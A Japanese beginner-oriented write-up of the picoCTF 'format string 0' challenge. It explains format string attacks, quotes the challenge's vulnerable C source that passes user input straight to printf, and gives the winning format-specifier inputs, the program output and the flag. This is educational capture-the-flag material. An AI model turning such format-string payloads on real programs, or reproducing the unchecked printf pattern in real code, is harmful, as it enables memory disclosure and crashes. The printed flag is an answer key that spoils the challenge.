format string 0 picoCTF writeup for beginner

<h3>記事説明</h3>
CTF初めて１週間の主がPicoCTFのEasyをbeginnerむけに書いている記事です。CTFのwriteupではCTF常識が前提になっている記事が多く無知すぎてよくわからなかったので書くことにしました。至らぬところ等あると思いますのでご指摘いただけると嬉しいです。
#picoCTFbeginner

※補足


https://qiita.com/koikoi193193/items/d21c5c7c12ca90c3af48



<h2>事前知識</h2>
<h4>書式文字列攻撃 (Format String Attack) </h4>
printfやsyslogなどでは%sや%dを使って変数を表示させることができる。
これを悪用して予期しない値を表示させるのがFormat String Attackです。
フォーマット指定子に対応する引数が不足した状態で表示させようとするとスタック内の他のデータを読み込んで出力しようとします。これにより機密情報が漏洩する可能性があります。

```:例
printf("I am %s", "name");
//I am nameと表示される。 
printf("I am %s");
//I am 予期しない値と表示される。
```

※参考

https://qiita.com/twrcd1227/items/c1b0eefb9cf2736737a1

<h4>SIGSEGV</h4>
プログラムがメモリに対して不正なアクセスを試みたときに発生するシグナル。
具体的には無効なメモリアドレスの参照、配列の範囲外アクセスなどが含まれる。

<h2>関数の意味</h2>
<h4>printf("\n%s\n", flag)</h4>
変数flagに格納されている値を表示

<h4>fgets(flag, FLAGSIZE, f);</h4>
変数flagにf【file】の内容をFLAGSIZE【64】の字数だけ代入する。

<h4>signal(SIGSEGV, sigsegv_handler);</h4>
指定されたシグナルに対してシグナルハンドラを設定する関数。
SIGSEGV発生時にsigsegv_handlerを実行する。


<h2>flag獲得条件</h2>

```c:format-string-0.c
void sigsegv_handler(int sig) {
    printf("\n%s\n", flag);
    fflush(stdout);
    exit(1);
}

int on_menu(char *burger, char *menu[], int count) {
    for (int i = 0; i < count; i++) {
        if (strcmp(burger, menu[i]) == 0)
            return 1;
    }
    return 0;
}

//-中略-

int main(int argc, char **argv){
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
                        "own debugging flag.\n");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    signal(SIGSEGV, sigsegv_handler);

    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    serve_patrick();
  
    return 0;
}
```
不正なメモリアクセスを行わせて、sigsegv_handler()を実行する。
そうするとprintf("\n%s\n", flag)されて、フラグが表示される。


<h2>コード概要</h2>
<h3>第一段階　serve_patrick()</h3>

```c:format-string-0.c
void serve_patrick() {
    printf("%s %s\n%s\n%s %s\n%s",
            "Welcome to our newly-opened burger place Pico 'n Patty!",
            "Can you help the picky customers find their favorite burger?",
            "Here comes the first customer Patrick who wants a giant bite.",
            "Please choose from the following burgers:",
            "Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice1[BUFSIZE];
    scanf("%s", choice1);
    char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
    if (!on_menu(choice1, menu1, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        int count = printf(choice1);
        if (count > 2 * BUFSIZE) {
            serve_bob();
        } else {
            printf("%s\n%s\n",
                    "Patrick is still hungry!",
                    "Try to serve him something of larger size!");
            fflush(stdout);
        }
    }
}
```
1.入力された値がmenu1内から選ばれているか確認。falseならその場で終了 <br>2.入力された値の文字数が64より大きいか確認。falseならその場で終了<br>3.serve_bob()を実行。第２段階へ。<br>

menu1の{"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"}の中から文字数が64より大きいものを選ばなければいけない。
printf("Gr%114d_Cheese")をすると%114dに対応する引数がないため、ランダムな数字が114文字幅で表示される。
```:114文字の文字列例
"Gr                                                                                                           4202954_Cheese"
```
<h3>第二段階　serve_bob()</h3>

```c:format-string-0.c
void serve_bob() {
    printf("\n%s %s\n%s %s\n%s %s\n%s",
            "Good job! Patrick is happy!",
            "Now can you serve the second customer?",
            "Sponge Bob wants something outrageous that would break the shop",
            "(better be served quick before the shop owner kicks you out!)",
            "Please choose from the following burgers:",
            "Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
            "Enter your recommendation: ");
    fflush(stdout);

    char choice2[BUFSIZE];
    scanf("%s", choice2);
    char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
    if (!on_menu(choice2, menu2, 3)) {
        printf("%s", "There is no such burger yet!\n");
        fflush(stdout);
    } else {
        printf(choice2);
        fflush(stdout);
    }
}

```
1.入力された値がmenu2内から選ばれているか確認。falseならその場で終了 <br>2.入力された値を表示<br>3.SIGSEGVを起こして、flagを表示させる。

menu2の{"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"}の中の文字列を表示させて、SIGSEGVを起こす必要がある。
printf("Cla%sic_Che%s%steak")をすると%sに対応する引数がないため、ランダムなメモリ内の値が表示される。それがSIGSEGVを起こす。



<h2>答え</h2>


```:cmd
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_dc0f36c4}

```